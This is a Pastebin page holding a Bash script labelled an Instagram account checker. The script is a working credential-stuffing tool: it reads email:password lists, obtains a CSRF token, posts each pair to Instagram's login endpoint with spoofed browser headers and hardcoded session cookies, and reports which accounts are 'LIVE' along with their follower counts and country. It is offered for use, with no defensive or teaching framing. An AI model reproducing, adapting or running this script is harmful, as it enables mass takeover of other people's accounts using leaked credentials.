Advertisement
KidSZonk

[BASH] Instagram Account Checker

Jan 19th, 2019
4,906
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.92 KB | None | 0 0
  1. #!/bin/bash
  2. waktu=$(date '+%Y-%m-%d %H:%M:%S')
  3. RED="\e[31m"
  4. GREEN="\e[32m"
  5. YELLOW="\e[33m"
  6. CYAN="\e[36m"
  7. LIGHTGREEN="\e[92m"
  8. MARGENTA="\e[35m"
  9. BLUE="\e[34m"
  10. BOLD="\e[1m"
  11. NOCOLOR="\e[0m"
  12. PUTIH='\033[1;37m'
  13. header () {
  14. printf "${RED}
  15.  â–„â–„â–Œ  â–„â–„â–„ . ▄▄▄· â–„ •▄  â–„▄·       ·▄▄▄▄  â–„â–„â–„ .
  16.  â–ˆâ–ˆâ€¢  â–€â–„.▀·▐█ ▀█ █▌▄▌▪▐█ ▌▪▪     ██▪ ██ ▀▄.▀·
  17.  â–ˆâ–ˆâ–ª  â–â–€â–€â–ªâ–„▄█▀▀█ ▐▀▀▄·██ â–„â–„ ▄█▀▄ ▐█· ▐█▌▐▀▀▪▄
  18.  â–â–ˆâ–Œâ–â–Œâ–â–ˆâ–„▄▌▐█ ▪▐▌▐█.█▌▐███▌▐█▌.▐▌██. ██ ▐█▄▄▌
  19.  .▀▀▀  â–€â–€â–€  â–€  â–€ ·▀  â–€Â·â–€â–€â–€  â–€â–ˆâ–„▀▪▀▀▀▀▀•  â–€â–€â–€
  20.     ${RED}------------------------------------${NOCOLOR}
  21.           Checker By KidSZonk
  22.     ${RED}------------------------------------${NOCOLOR}
  23. "
  24. }
  25. IGcheck() {
  26.     footer="#SGBTEAM - IG CHECKER"
  27.     get=`curl -s 'https://www.instagram.com/accounts/login/ajax/' -H 'origin: https://www.instagram.com' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' -H 'x-requested-with: XMLHttpRequest' -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' -H 'cookie: mcd=3; mid=W9lE6wALAAE8o8dXUdobBIUTRbaz; fbm_124024574287414=base_domain=.instagram.com; datr=w2YQXAf4ZbNMbCjCFyx44dmS; shbid=11979; shbts=1546747948.9399455; csrftoken='$tokentot'; ds_user_id=2136514677; rur=ASH; fbsr_124024574287414=8P2Q319aRq6ciFfdMkrYFIzmUvDxKwbZgLG0UX9Id50.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImNvZGUiOiJBUUNEUXdrcjFKWllUbjBrUkktQTFRQnpqUWdBLTdEQlF3Z1pwelM5blJBMVY3VlcyRm9MZFNIbkM4bWo2aXR4X0VJRWZRUVVpanZmMzNxUlIwYTgwSG1BQjQyRWNoZGhvRkRXWlAycDd5YmdHWWVod1lPUEwyamdVbWh1cF9lcmNreW5GdFlUM3Y4X041cmoyN2ZUdFFjVktHdnpSVjBQS254N0xQV2FNTjJxdVdxR0dpUnhFOHFpS3g3ckZ4Z3hzcjZJWFJQdU00dGNRQjAta2VoUzBtdng2SEE2a1k1VXJBWlJ1aHlUX1dSZmdzNU85eEJ2d3N2ZEJJbEVkcnNpQmtaU0p4VHhVd2lIYnpmM2EzVWFxMTFTemJ5eUp0eG9NcXN5TjFxTzc4U2lxYUxQOWtSS2VXRmhOb2pIMTE4cHo5OVE2aDFRVDQ3ZUZIVTVrNWV0VV9tZCIsImlzc3VlZF9hdCI6MTU0NjkzNjgxMiwidXNlcl9pZCI6IjEwMDAwNjIxOTY5NTc5MSJ9; urlgen="{\"180.249.129.35\": 17974}:1ggmvk:wOP7pFF21pg-Z1pCWUgxYWcxmxE"' -H 'x-csrftoken: '$tokentot'' -H 'x-instagram-ajax: '$ajax'' -H 'content-type: application/x-www-form-urlencoded' -H 'accept: */*' -H 'referer: https://www.instagram.com/' -H 'authority: www.instagram.com' --data 'username='$1'&password='$2'&queryParams=%7B%7D' --compressed`
  28.     cux=`curl -s "https://www.instagram.com/${1}/" -H 'authority: www.instagram.com' -H 'cache-control: max-age=0' -H 'upgrade-insecure-requests: 1' -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' --compressed`
  29.     cox=$( echo "$get" | grep -Po '(?<=authenticated": )[^",]*' )
  30.     getInfoNama=$( echo "$cux" | grep -Po '(?<=name":")[^"]*' | head -2 | tail -2)
  31.     getFoll=$( echo "$cux" | grep -Po '(?<=userInteractionCount":")[^"]*')
  32.     getCountry=$( echo "$cux" | grep -Po '(?<=country_code":")[^"]*')
  33.     getUser=$( echo "$cux" | grep -Po '(?<=alternateName":")[^"]*')
  34.     infoMail=$( echo "$cux" | grep -Po '(?<=alternateName":"@)[^"]*')
  35.     getFollowing=$(echo "$cux" | grep -Po '(?<=count":)[^}]*' | head -2 | tail -1)
  36.     if [[ $cox == "true" ]]; then
  37.         printf "${NOCOLOR}[$i/$totalLines]${GREEN}[LIVE] => $1:$2\n"
  38.         echo "${GREEN} INFO : $getUser | Follower : $getFoll | Following : $getFollowing | Country : $getCountry
  39.    "
  40.     else
  41.         printf "${NOCOLOR}[$i/$totalLines]${RED}[DIE] => $1:$2${NC} \n"
  42.     fi
  43.  
  44. printf "\r"
  45. }
  46. AmbilToken() {
  47.   wait
  48.     resp=`curl 'https://www.instagram.com/accounts/login/ajax/' -H 'origin: https://www.instagram.com' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' -H 'x-requested-with: XMLHttpRequest' -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' --compressed -D - -s -o /dev/null`
  49.     tokentot="$(echo "$resp" | grep -Po '(?<=csrftoken=)[^;]*')"
  50.     ajax="16b73267f71b"
  51.     # echo $resp
  52.     # echo "ini cok : $tokentot"
  53.   if [[ $tokentot == '' ]]; then
  54.     sleep 4
  55.     echo "[x] Ohh SNAP!!!. Regenerate token now. Please wait..."
  56.     AmbilToken
  57.     sleep 2
  58.   fi
  59. }
  60. header
  61. echo ""
  62. echo "List In This Directory : "
  63. ls
  64. echo "Delimeter list -> email:password "
  65. echo -n "Masukan File List : "
  66.     read list
  67.     echo "[+] Calculate your mailist file"
  68.     echo "############################"
  69.     totalLines=`grep -c ":" $list`
  70.     echo "There are $totalLines of list."
  71.     echo "############################"
  72.     if [ ! -f $list ]; then
  73. echo "$list No Such File"
  74.     exit
  75.     fi
  76.     AmbilToken
  77.     x=$(gawk -F: '{ print $1 }' $list)
  78.     y=$(gawk -F: '{ print $2 }' $list)
  79.     IFS=$'\r\n' GLOBIGNORE='*' command eval  'emailgblg=($x)'
  80.     IFS=$'\r\n' GLOBIGNORE='*' command eval  'passwordna=($y)'
  81.     for (( i = 0; i < "${#emailgblg[@]}"; i++ )); do
  82.         emailna="${emailgblg[$i]}"
  83.         kontol="${passwordna[$i]}"
  84.  
  85.         IGcheck $emailna $kontol
  86.     done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement